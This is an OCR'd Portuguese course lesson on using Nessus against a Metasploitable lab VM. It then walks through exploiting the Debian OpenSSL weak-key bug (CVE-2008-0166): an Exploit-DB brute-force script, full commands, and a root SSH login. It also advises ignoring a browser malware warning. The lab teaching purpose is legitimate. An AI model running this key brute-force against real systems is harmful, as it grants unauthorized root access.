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Utilizando o nessus

Transcricao

Assim que o Nessus estiver instalado, devemos fazer login. Pode ser que ele ja sugira o usudrio previamente cadastrado.

Nessus / Login - Mozilla Firefox

Nessus / Login x | &
- = kali

3 Most Visited v [Jlj Offensive Security "W Kali Linux "W Kali Docs "W Kali Tools EKBExploit-DB Wy Aircrack-ng

Nessus

home

1 Rafael

v | ..O..'l...|

He"nernoer N‘e m

Uma vez logado, escolheremos a op¢do New scan .

Nessus Home / Scans - Mozilla Firefox

Nessus Home / Scans %

= - kali

5 Most Visited v JljOffensive Security "8 Kali Linux “ Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

@ NeSSUS Scans Policies
Scans
My Scans

This folder is empty

https://cursos.alura.com.br/course/seguranca-redes/task/23475

1711



27/04/2020 Seguranca de redes: Aula 4 - Atividade 5 Utilizando o nessus | Alura - Cursos online de tecnologia

Na tela seguinte, optaremos pela varredura bédsica, ou Basic Network Scan , para ver se o Nessus consegue identificar as

vulnerabilidades. Ja conhecemos uma delas, a backdoor que detectamos assim que analisamos melhor a primeira das

portas.

M

Basic Network Scan
A full system scan suitable for any
hest.

A seguir, precisamos configurar essa varredura. Seu nome sera Scan servidor e a descrigdo Scan servidor feito com o

Nessus . Podemos deixd-la na pasta My Scans . Até aqui, vocé pode optar por configurar como achar melhor. Mas no

campo target, vocé precisa necessariamente colocar o IP do servidor, que nosso caso é 192.168.121.174 .

BASIC v General
Genera
Scan servidor

Schedule Name
Notifications

Description Scan servidor (gite com o Nessus
DISCOVERY
ASSESSMENT
REPORT Folder My Scans -
ADVANCED

Targets 192.168.121.174|

Depois de preencher esse formuldrio, basta clicar em save , e sem seguida, em Launch , representado pelo simbolo de

play.

Scans Upload

My Scans Name Schedule Last Modified «
Tra Scan servidor ©On Demand B NnA

All Scans

O scan pode demorar um pouco, e, tdo logo acabe, podemos fazer analises. Basta clicar sobre o scan, que obteremos um

relatério.
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Host Vulnerabilities =

102 18121174 G pame

Status:
Policy
Scanner:
Folder
Start:

Scan servidor
Completed

Basic Network Scan
Local Scanner

My Scans

Today at 1:44 PM

O Nessus divide e organiza as vulnerabilidades em um grafico por nivel de gravidade: Critical, High , Medium, Low,

Info .

Vulnerabilities

@® Critical
/ ® High

® Info

\g

Segundo o relatdrio, hd sete vulnerabilidades de nivel critico. Clicaremos sobre esse dado para vé-las.

Hosts > 192.168.121.174 > Vulnerabliities [[[F)

Severity = Plugin Name

Rogue Shell Backdoor Detection
UnreallRCd Backdoor Detection

Unsupported Unix Operating System

VNC Server ‘password’ Password

vsitpd Smiley Face Backdoor

Debian OpenSSH/OpenSSL Package Random Number Genera. ..

Debian OpenSSHOpenSSL Package Random Number Genera. ..

Plugin Family

Gain a shell remotely

Gain a shell remotely

Backdoors

Backdoors

General

Gain a shell remotely

FTP

Aquela backdoor que encontramos foi detectada e identificada como uma vulnerabilidade critica.
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Debian OpenSSH/OpenSSL Package Random Number Genera...  Gain a shell remotely 1

Debian OpenSSH/OpenSSL Package Random Number Genera... Gain a shell remotely 1

Rogue Shell Backdoor Detection Backdoors 1
UnreallRCd Backdoor Detection Backdoors 1
Unsupported Unix Operating System General 1
VNC Server password Password — Gain a shell remotely 1
vsfitpd Smiley Face Backdoor FTP 1
gl
HIGH Muitiple Vendor DNS Query ID Field Prediction Cache Poisoning DNS 1
HIGH riogin Service Detection Service detection 1

Ao clicar sobre ela, o Nessus fornece uma descricéo dessa vulnerabilidade, que ja conheciamos das nossas pesquisas.

Hosts > 192.168.121.174 > Vulnerabllities [[E)

vsftpd Smiley Face Backdoor

Description

The version of vsftpd running on the remote host has been compiled R Attempting to login with a usemame containing :) (a smiley
face) triggers the backdoor, which results in a shell listening on TCP port 6200. The shell stops listening after a client connects to and
disconnects from it.

An unauthenticated, remote attacker could exploit this to execute arbitrary code as root.

Solution

Validate and recompile a legitimate copy of the source code.

See Also

hittp://pastebin.com/AetT9sS55

0O mais interessante é que logo a seguir, ele nos mostra a solucéo para essa falha: "Validar e recompilar uma cépia
legitima do cédigo fonte". Ele também nos mostra que essa vulnerabilidade é explorada com o framework Metasploitm,

confirmando o que fizemos na etapa anterior.

Resumindo: além de o Nessus mostrar as vulnerabilidades separadas por gravidade, o Nessus nos mostra a possivel

solucdo e como se poderia explorar essa vulnerabilidade.

A primeira das vulnerabilidades na lista é a Debian OpenSSH/OpenSSL Package Random Number Generator . E o problema

que encontramos anteriormente na porta 22 .

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
|  ssh-hostkey:

| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
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Nessus exe

Port v

21/1cp/fip

Seguranca de redes: Aula 4 - Atividade 5 Utilizando o nessus | Alura - Cursos online de tecnologia

Hosts

192.168.121.174

#

Quando clicamos sobre o problema no Nessus, leremos o seguinte:

Description

CVSS2#E:F/RL:OF/RC:C
CVSS Temporal Score: 8.3

Vulnerability Information

Exploit Available: true

Exploit Ease: Exploits are available
Patch Pub Date: 2011/07/03
Vulnerability Pub Date: 2011/07/03

Exploitable With

BEEESIYVSFTPD v2.3.4 Backdoor Command
Execution)

Reference Information

The remote SSH host has been generated on a Debian ou Ubunt system which contains a bug in the random

number generator of its OpenSSL library. The problem is due to a Debian packager removing nearly all sources of

entropy in the remote version of OpenSSL. An attacker can easily obtain the private part of the remote key and use

this to set up decipher the remote session or set up a man in the middle attack.

Solution

Consider all cryptofgraphic material generated on the remote host to be guessable. In particular, all SSH, SSL and

OpenVPN key material should be re-generated.

Ou seja: essa versdo do OpenSSL tem um bug na geragdo de chaves, permitindo que um usuario mal intencionado

obtenha a chave privada e se conecte remotamente.

Assim, o Nessus nos avisa que, mesmo sem a senha que o terminal nos pede, um hacker pode se conectar usando a

chave privada.

Ele também nos informa, como vemos a seguir, detalhes de como explorar a vulnerabilidade.

Vulnerability Information

Exploit Available: true
Exploit Ease: Exploits are available

In the news: true

Exploitable With

Core Impact

Reference Information|

CVE: CVE-2008-0166
OSVDB: 45029, 45503
BID: 29179

CWE: 310

Ele avisa que existe um codigo que ajuda a explorar, e a seguir informa a referéncia dessa informagéo, que nesse caso

esta classificada como CVE. Quando clicamos sobre o link, ele nos redireciona para o site National Vulnerability
Database (https://nvd.nist.gov/vuln/detail/CVE-2008-0166):
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Sponsored by '.-. . NISI-
DHSMNCOCAS Ca e M
Natlonal Vulﬁer“ablllﬁ? If.t‘:abase

automating vulnerability manage ’ ity measurement, and compliance checking

Product Dictionary
SCAP Events

1

National Cyber Awareness Syste
NVD is the U.S. government -
repository of standards ulnerability Summary for CVE-2008-0166
based vulnerability Original release date: 05/13/2008
management data. This data
enables automation of Last revised: 02/21/2009
vulnerability management, Source: US-CERT/NIST
security measurement, and h
compliance (e.g. FISMA). Overview

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that

attackers to conduct brute force guessing attacks against cryptographic keys.
NVD contains: g 9 9 ’
80353 CVE Vuinerabiies Impact

240 CVSS Severity (version 2.0):

4458 US-CERT Vuln Notes CVSS v2 Base Score: 7.8 HIGH
10286 QWAL Oueties Vector: (AV-N/ACLIAuN/C.C/EN/AN) (legend)
116010 CPE Names

Impact Subscore: 6.9

Que nos mostra que CVE significa Common Vulnerabilities and Exposures e a especificidade dessa classificacdo. Mas
n#o mostra como podemos explora-la, diferentemente da vulnerabilidade anterior, para qual ja era indicado o c6digo
do Metasploit. Assim sendo, procuraremos a resposta que queremos no Google, copiando CVE-2008-0166 e adicionando

a palavra "exploit" a busca.

Um dos primeiros links listados na busca é do Exploit Database (https:/www.exploit-db.com/exploits/5720/). Ele contém
varios exploits criados por usudrios, e por isso é preciso tomar cuidado com eles. Por vezes as instru¢des pedem para

que vocé fagca um procedimento, quando na realidade ela serd inttil ou danificara sua maquina. Alguns dos exploits do

site sdo verificados e ganham um selo.

E.Plol' & Home Exploits Shellcode Paper Google Hacking Database Submit Searcl
DATABASE

Predictable PRNG Brute Force SSH Exploit (Python)

EDB-ID: 5720 Author: WarCat te Published: 2 06-01
CVE: CVE-2008-0166 Type: Remote Platform: L
E-DB Verified Vk" Exploit Download /[ View Raw  Vulnerable App: (7

Com esse selo, podemos ter uma seguranca maior de que o exploit pode funcionar. Ao que consta, esse exploit
funcionaria na vulnerabilidade cve-2008-0166 , que é justamente a que estamos investigando. Portanto, ele permitira

que acessemos a chave gerada na outra ponta, e ter acesso remoto sem precisar da senha.

Faremos o download desse exploit e seguiremos a instrucdes que o autor desse cddigo nos da, que seguem:

B L L B L e L R L R B R R I e R R IR S R R I SRR

# Autor: hitz - WarCat team (warcat.no-ip.org)

# Collaborator: pretoriano

#

# 1. Download https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/spl
#

# 2. Extract it to a directory

#
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# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
- execute: python exploit.py (without parameters) to display the help
- if the key is found, the script shows something like that:
Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4atd5143-1121 192
S e e e e e R e e R R s e R

H OH H O

O primeiro passo nos diz para fazer o download dessas chaves no link do GitHub fornecido. Caso o seu navegador lhe dé
um alerta, avisando que podemos estar baixando um arquivo malicioso, ele pode ser ignorado. Sabemos que esse

exploit em especifico é seguro.

O segundo passo nos pede para extrair o arquivo para uma pasta. Para isso, abriremos a pasta Downloads no terminal.

root@kali:~# cd Downloads/
root@kali:~/Downloads# 1s
5622.tar.bz2 5720.py Nessus-6.9.1-debian6_amd64.deb Nessus-6.9.1-Win32.msi

0 arquivo que contém varias chaves, e que vai tentar verificar se uma delas pode nos ajudar a logar no sistema.

Precisamos extrai-lo, e para isso usaremos o bunzip2 , e a seguir tar xvf .

root@kali:~# cd Downloads/

root@kali:~/Downloads# 1s

5622.tar.bz2 5720.py Nessus-6.9.1-debian6_amd64.deb Nessus-6.9.1-Win32.msi
root@kali:~/Downloads# bunzip2 5622.tar.bz2

root@kali:~/Downloads# tar xvf 5622.tar

O que veremos sera algo parecido com isso: uma sequéncia crescente de chaves.
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f:J Kali-Linux-2016.2-vbox-amdé&d [Executando] - Oracle VM VirtualBox

Arquivo  Maquina Visualizar Entrada  Dispositivos  Ajuda

root@kali: ~/Downloads

File Edit View Search Terminal Help

rsa/2048/4b67e60c4057a656f4cbcba72baaf456-22114
rsa/2048/955b8cad3b2dd327f6e55308832ca815-20112
rsa/2048/4ded40a26e1931f0e998670442e3126fde-15974.
rsa/2048/83bele591dc91a25d1c814041694ae98-28722
rsa/2048/73a507fe32ee510a6f6753cb%9aB8edcb2-5804
rsa/2048/0080cbead4 f605165b8134edcdec73704-14423 . pub
rsa/2048/685b3335ee2122246759c57f4f1c8234-28840.pub
rsa/2048/7fb38732633d4afa838c4c562231ealc-8139
rsa/2048/6639600949d980e2eaffc2792552e8f4-721
rsa/2048/a7681036bd5977e3126a7e7596e607a3-23145. pub
rsa/2048/73802c339e58f995a94aed3fdc3f5727-7905
rsa/2048/1f55103e8cae07b2ea2d7815b99b0f548-17665. pub
rsa/2048/442771d0a8e7f084bc05c50d1835e7e5a-13626.pub
rsa/2048/6564f31be21dc70290cf@53ecbelc82b-4308. pub
rsa/2048/73a402940f456f2ec322b2c003b19927-15230. pub
rsa/2048/6df095eb66af04079bcf5541289cebf3-15521
rqa/2048/256648a5cf190645a7b2e7d199294797-10964
rsa/2048/72d9db09c234680a2a2fd%aa36e9bf76-29996. pub
rsa/2048/73e18b6a6908435bc57957e9723ed573-13799
rsa/2048/f2ds5f7f0888ef662d3e9426619c%9ad10-2939
rsa/2048/21479b481lacc8d857e88b628076b3df0- 1834
rsa/2048/clfc555febf2f921fb4640ccd75ab419-6081. pub
rsa/2048/88d138edbc20ada55f5efbbfd5c5ffbe-29790
rsa/2048/6cdd9299ac8cff708c537831119a4b74-29963
rsa/2048/931c65522d8619%4ca3a749b8abe735c9-25435.pub

Se dermos um 1s , veremos que uma pasta rsa foi criada.

root@kali:~/Downloads# 1s
5622.tar.bz2 5720.py Nessus-6.9.1-debian6_amd64.deb Nessus-6.9.1-Win32.msi rsa

Assim, o préximo passo é executar o script phyton, com a sintaxe apresentada no tutorial: python exploit.py
/home/hitz/keys 192.168.1.240 root 22 5 .Mas o arquivo ndo se chama exploit.py , e sim 5720.py . O diretério das
chaves também precisa ser substituido, pois € /root/Downloads/rsa/2048 . A seguir, teremos que colocar o endereco IP
do servidor cuja vulnerabilidade estamos testando 192.168.121.174 . Tentaremos logar como usuario root , na porta
22 (cuja vulnerabilidade ja conhecemos). O tltimo numero, 5 , representa as threads do exploit, que se lermos um
pouco a fundo, saberemos que nio é o ideal. E informado no tutorial que ele funciona melhor com 4 threads, que j é

o seu default, portanto ndo precisamos definir. Assim:

root@kali:~/Downloads# 1s
5622.tar.bz2 5720.py Nessus-6.9.1-debian6_amd64.deb Nessus-6.9.1-Win32.msi rsa
root@kali:~/Downloads# python 5720.py /root/Downloads/rsa/2048 192.168.121.174 root 22

Ao apertar Enter , 0 exploit comegara o que chamamos de ataque de forca bruta. Ele testara todas essas chaves, com o

intuito de encontrar qual seria a chave compativel que nos garantird o acesso ao servidor.

root@kali:~/Downloads# 1s
5622.tar.bz2 5720.py Nessus-6.9.1-debian6_amd64.deb Nessus-6.9.1-Win32.msi rsa
root@kali:~/Downloads# python 5720.py /root/Downloads/rsa/2048 192.168.121.174 root 22

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
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Tested 178 keys
Tested 354 keys

| Remaining 32590 keys |
| |

Tested 534 keys | Remaining 32234 keys | Aprox. Speed 36/sec
| |
| |

Aprox. Speed 35/sec
Remaining 32414 keys Aprox. Speed 35/sec
Tested 720 keys
Tested 893 keys

Remaining 32048 keys Aprox. Speed 37/sec

Remaining 31875 keys Aprox. Speed 34/sec

Esse ataque é bem demorado, e quando ele terminar, vocé vera algo parecido com isso:

root@kali:~/Downloads# 1ls
5622.tar.bz2 5720.py Nessus-6.9.1-debian6_amd64.deb Nessus-6.9.1-Win32.msi rsa
root@kali:~/Downloads# python 5720.py /root/Downloads/rsa/2048 192.168.121.174 root 22

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
Tested 178 keys | Remaining 32590 keys | Aprox. Speed 35/sec
Tested 354 keys
Tested 534 keys
Tested 720 keys
Tested 893 keys

Remaining 32414 keys Aprox. Speed 35/sec

Remaining 32234 keys Aprox. Speed 36/sec
Remaining 32048 keys Aprox. Speed 37/sec
Remaining 31875 keys Aprox. Speed 34/sec
Tested 26702 keys | Remaining 6066 keys | Aprox. Speed 41/sec

Key Found in file: 57c¢3115d77c¢56390332dc5c49978627a-5429
Execute: ssh -lroot -p22 -i /root/Downloads/rsa/2048//57c3115d77c56390332dc5c49978627a-5429

Foram mais de 26 mil testes, mas ele parece ter encontrado a chave que nos permitird acessar o servidor pela porta 22 .
E ele nos avisa que o comando para usar essa chave é ssh -lroot -p22 -i

/root/Downloads/rsa/2048//57c3115d77c56390332dc5c49978627a-5429 . Vamos copia-la e utiliza-la.

Tested 26702 keys | Remaining 6066 keys | Aprox. Speed 41/sec

Key Found in file: 57c¢3115d77c56390332dc5c49978627a-5429
Execute: ssh -lroot -p22 -i /root/Downloads/rsa/2048//57c3115d77c56390332dc5c49978627a-5429
root@kali:~/Downloads# ssh -lroot -p22 -i /root/Downloads/rsa/2048//57c3115d77c56390332dc5c4997

< »

Ao dar Enter:

root@kali:~/Downloads# ssh -lroot -p22 -i /root/Downloads/rsa/2048//57c3115d77c56390332dc5c4997
Last login: Wed Dec 7 13:33:44 2016 from 192.168.121.172
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution term for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

You have mail.

root@metasplotable:~#
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4

Aparentemente obtivemos acesso! Vamos ver o que o terminal nos diz com um ifconfig ?

root@metasploitable:~# ifconfig
etho Link encap:Ethernet HWaddr ©8:00:27:8c:43:40
inet addr:192.168.121.174 Bcast:192.168.121.255 Mask:255.255.255.0
inet6 addr: fe80::200:27ff:fe8c:4340/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1184054 errors:0 dropped:0 overruns:0 frame:0
TX packets:1159752 errors:@ dropped:@ overruns:0 carrier:0
collisions:@ txqueuelen:1000
RX bytes:258350607 (246.3 MB) TX bytes:251670637 (240.0 MB)
Base address:0xd010@ Memory:{0000000-10020000

Link encap:Local Loopback

inet addr:127.0.01 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:1218 errors:0 dropped:0 overruns:@ frame:0

TX packets:1218 errors:@ dropped:0 overrruns:0 carrier:0 collisions:@ txqueuelen:0
RX bytes:572153 (558.7 KB) TX bytes:572153 (558.7 KB)

Note que 0 inet addr que temos é justamente o IP do servidor, comprovando que realmente conseguimos acesso, por

meio desse ataque de for¢a bruta. Nada mal, néo é?

Vamos ver o que temos se dermos um 1s ?

root@metasploitable:~# 1s
Desktop reset_logs.sh vvnc.log

Vamos ver o que hd no root ?

root@metasploitable:~# 1s
Desktop reset_logs.sh vvnc.log
root@metasploitable:~# /
-bash: /: is a directory
root@metasploitable:~# cd /
root@metasploitable:~# 1s

bin  cdroom etc initrd lib media  nohup.out proc sbin sys usr vml

Com esse acesso, podemos fazer o que quisermos. Inclusive, deletar tudo, inclusive o site da Multillidae.

root@metasploitable:~# 1s
Desktop reset_logs.sh vvnc.log
root@metasploitable:~# /
-bash: /: is a directory
root@metasploitable:~# cd /
root@metasploitable:~# 1s

bin  cdroom etc initrd lib media  nohup.out proc sbin sys usr vml

root@metasploitable:/# cd /var/www
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root@metasploitable:/var/www# 1s
dav dvwa index.php multillidae phpinfo.php phpMyAdmin test tikiwiki tikiwiki-old

Esse site estd ao nosso alcance, para qualquer alteracdo. E, aparentemente, o administrador dessa rede pensava estar
seguro, pois a principio é pedida uma senha de acesso. Mas vimos que essa senha nio adianta nada, pois a
vulnerabilidade da porta nos permite acessar a rede. O sistema néo estd gerando uma senha verdadeiramente
randdmica, permitindo que facamos o ataque de forca bruta. Ataque este que néo conseguiriamos perceber ser possivel
se o Nessus n#o o indicasse, além de dizer dar a referéncia da vulnerabilidade e a partir disso os c6digos exploits para

explora-la.

Com essas informacdes, um hacker consegue acessar facilmente a rede. E o administrador nem percebeu essa

vulnerabilidade. Até a proxima!l
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